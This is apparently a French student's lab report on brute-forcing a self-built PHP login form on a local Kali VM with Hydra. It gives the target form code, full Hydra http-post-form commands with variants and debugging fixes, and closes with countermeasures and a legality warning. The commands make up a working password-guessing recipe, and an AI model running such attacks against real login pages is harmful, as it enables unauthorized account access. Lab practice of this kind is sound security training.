Imprimer le rapport

🔐 Rapport d'Exercice - Cybersécurité

Sujet : *Brute Force avec Hydra sur formulaire web*
Date : *11 juillet 2025*
Environnement : *VM Kali Linux*

🎯 Objectif de l'exercice

Apprendre et maîtriser les techniques de brute force sur un formulaire web en utilisant l'outil Hydra dans un environnement contrôlé et sécurisé.

📋 Vue d'ensemble du projet

- **Machine cible :** VM Kali Linux
- **Adresse IP :** 192.168.1.18
- **Port exposé :** 8000
- **Service :** Serveur web avec formulaire de connexion
- **Outil d'attaque :** Hydra

🔧 Étape 1 : Configuration de l'environnement

1.1 Ouverture du port sur la machine physique

Configuration du port 8000 pour permettre l'accès au serveur web de test.

⚠️ **Sécurité :** Cette ouverture de port n'est effectuée que dans un environnement de test contrôlé.

1.2 Création de la VM Kali Linux

Mise en place d'une machine virtuelle Kali Linux dédiée aux tests de cybersécurité.

📝 Étape 2 : Création des fichiers cibles

2.1 Fichier HTML - Interface de connexion

Création d'un formulaire de connexion simple pour les tests :

```
<!DOCTYPE html> <html> <head><title>Connexion</title>
</head> <body> <h2>Page de connexion</h2> <form
method="POST" action="login.php"> Nom d'utilisateur :
<input type="text" name="username"><br><br> Mot de passe
: <input type="password" name="password"><br><br> <input
type="submit" value="Se connecter"> </form> </body>
</html>
```

2.2 Fichier PHP - Logique de connexion

Script PHP pour traiter les tentatives de connexion :

```
<?php $user = $_POST['username']; $pass =
$_POST['password']; if ($user == 'toto' && $pass ==
'password') { echo "✅ Connexion réussie. Bienvenue
```

```
$user !"; } else { echo "❌ Identifiants incorrects.";
} ?>
```

Paramètres de test :
• Utilisateur valide : `toto`
• Mot de passe valide : `password`
• Message d'erreur : ❌ `Identifiants incorrects.`

📚 Étape 3 : Création de la wordlist

3.1 Wordlist personnalisée

Création du fichier `list_perso.txt` contenant les mots de passe à tester.

✅ **Avantage :** Une wordlist personnalisée permet de tester rapidement des mots de passe spécifiques et d'observer le comportement de l'outil.

⚔️ Étape 4 : Attaque par brute force avec Hydra

4.1 Commande Hydra optimisée

Commande pour effectuer l'attaque par brute force :

```
hydra -l toto -P list_perso.txt 192.168.1.18 -s 8000
http-post-form
"/login.php:username=^USER^&password=^PASS^:Identifiants
incorrects" -v
```

4.2 Explication des paramètres

- `-l toto` : Spécifie l'utilisateur à tester
- `-P list_perso.txt` : Utilise la wordlist personnalisée
- `192.168.1.18` : Adresse IP de la cible
- `-s 8000` : Port du service web
- `http-post-form` : Type d'attaque pour formulaire web
- `"/login.php:username=^USER^&password=^PASS^:Identifiants incorrects"` : Configuration du formulaire
- `-v` : Mode verbose pour voir les tentatives

4.3 Variantes de commandes

Avec limitation de threads :

```
hydra -l toto -P list_perso.txt 192.168.1.18 -s 8000 http-post-form "/login.php:username=^USER^&password=^PASS^:Identifiants incorrects" -t 4 -v
```

Arrêt au premier succès :

```
hydra -l toto -P list_perso.txt 192.168.1.18 -s 8000 http-post-form "/login.php:username=^USER^&password=^PASS^:Identifiants incorrects" -f -v
```

❌ Erreurs courantes à éviter

5.1 Erreurs de syntaxe

❌ **ERREUR :** Oublier les guillemets dans la chaîne http-post-form

```
# INCORRECT - Provoque une erreur de parsing hydra -l toto -P list_perso.txt 192.168.1.18 -s 8000 http-
```

```
post-form
/login.php:username=^USER^&password=^PASS^:Identifian
ts incorrects
```

✅ **CORRECT :** Utiliser des guillemets pour encadrer la chaîne

```
# CORRECT - Guillemets obligatoires hydra -l toto -P
list_perso.txt 192.168.1.18 -s 8000 http-post-form
"/login.php:username=^USER^&password=^PASS^:Identifia
nts incorrects"
```

5.2 Erreurs dans la chaîne de détection d'échec

❌ **ERREUR :** Mauvaise chaîne de détection d'échec

```
# INCORRECT - Chaîne qui n'existe pas dans la réponse
hydra -l toto -P list_perso.txt 192.168.1.18 -s 8000
http-post-form
"/login.php:username=^USER^&password=^PASS^:Connexion
échouée"
```

✅ **CORRECT :** Utiliser exactement le texte qui apparaît en cas d'échec

```
# CORRECT - Texte exact du message d'erreur hydra -l
toto -P list_perso.txt 192.168.1.18 -s 8000 http-
post-form
"/login.php:username=^USER^&password=^PASS^:Identifia
nts incorrects"
```

5.3 Erreurs dans les noms de paramètres

❌ **ERREUR :** Mauvais noms de paramètres du formulaire

```
# INCORRECT - Noms de champs incorrects hydra -l toto
-P list_perso.txt 192.168.1.18 -s 8000 http-post-form
"/login.php:user=^USER^&pass=^PASS^:Identifiants
incorrects"
```

✅ **CORRECT :** Utiliser les noms exacts des champs HTML

```
# CORRECT - Noms correspondant aux champs HTML
(name="username" et name="password") hydra -l toto -P
list_perso.txt 192.168.1.18 -s 8000 http-post-form
"/login.php:username=^USER^&password=^PASS^:Identifia
nts incorrects"
```

5.4 Erreurs de chemin et d'URL

❌ **ERREUR :** Mauvais chemin vers le script

```
# INCORRECT - Chemin inexistant hydra -l toto -P
list_perso.txt 192.168.1.18 -s 8000 http-post-form
"/connexion.php:username=^USER^&password=^PASS^:Ident
ifiants incorrects"
```

✅ **CORRECT :** Chemin exact vers le fichier PHP

```
# CORRECT - Chemin correspondant à l'action du
formulaire hydra -l toto -P list_perso.txt
192.168.1.18 -s 8000 http-post-form
```

```
"/login.php:username=^USER^&password=^PASS^:Identifia
nts incorrects"
```

5.5 Erreurs de fichiers et permissions

❌ **ERREURS FRÉQUENTES :**

- Wordlist inexistante ou nom incorrect
- Permissions insuffisantes sur le fichier wordlist
- Chemin relatif/absolu incorrect vers la wordlist

✅ **VÉRIFICATIONS :**

- Vérifier l'existence : `ls -la list_perso.txt`
- Vérifier les permissions : `chmod 644 list_perso.txt`
- Utiliser le chemin absolu si nécessaire

5.6 Erreurs de configuration réseau

❌ **ERREURS RÉSEAU :**

- Serveur web non démarré sur la cible
- Mauvaise adresse IP ou port
- Pare-feu bloquant les connexions
- Service web non accessible

✅ **VÉRIFICATIONS :**

- Tester l'accès : `curl http://192.168.1.18:8000/login.php`

- Vérifier les ports : `nmap -p 8000 192.168.1.18`
- Confirmer le service : `netstat -tuln | grep 8000`

📊 Analyse des résultats

6.1 Efficacité de l'attaque

Avec wordlist personnalisée : Très efficace si le mot de passe est inclus dans la liste
Mot de passe "password" : Présent dans la plupart des wordlists communes (rockyou.txt, common-passwords.txt)

6.2 Temps d'exécution estimé

- **Wordlist de 100 mots :** Quelques secondes
- **Rockyou.txt (14M mots) :** 1-2 minutes (password est très commun)
- **Common-passwords.txt :** < 30 secondes

🛡️ Mesures de protection identifiées

7.1 Contre-mesures possibles

- **Limitation de tentatives :** Bloquer après X échecs
- **CAPTCHA :** Verification humaine
- **Délai progressif :** Augmenter le temps entre tentatives
- **Authentification multi-facteur :** Couche de sécurité supplémentaire
- **Surveillance des logs :** Détection d'attaques

- **Politique de mots de passe :** Interdire les mots de passe faibles

🎓 Enseignements tirés

8.1 Points clés

- Hydra est très efficace contre les mots de passe faibles
- La syntaxe doit être précise pour éviter les erreurs
- L'importance de vérifier chaque paramètre
- Les mots de passe communs sont vulnérables

8.2 Bonnes pratiques

- Toujours tester dans un environnement contrôlé
- Vérifier la syntaxe avant l'exécution
- Utiliser des mots de passe forts et uniques
- Implémenter des mesures de protection appropriées
- Surveiller les tentatives d'intrusion

🔍 Méthodologie de débogage

9.1 Diagnostic étape par étape

1. **Vérifier la connectivité :** Ping et port scan
2. **Tester le formulaire manuellement :** Navigateur web
3. **Analyser la réponse HTTP :** Burp Suite ou curl
4. **Vérifier les paramètres :** Inspecter le code HTML

5. **Tester avec un seul mot de passe :** Validation rapide

🔮 Perspectives d'amélioration

10.1 Prochaines étapes

- Tester avec différents types de wordlists
- Explorer d'autres outils de brute force (Medusa, Ncrack)
- Implémenter des contre-mesures et les tester
- Analyser les logs d'attaque
- Tester sur différents types de formulaires

⚠️ Rappel important

Cet exercice a été réalisé dans un environnement contrôlé à des fins d'apprentissage. L'utilisation de ces techniques sur des systèmes non autorisés est illégale et peut entraîner des sanctions pénales.

📄 Rapport généré le 11 juillet 2025 - Exercice de cybersécurité éducatif

🔐 "La sécurité n'est pas un produit, c'est un processus" - Bruce Schneier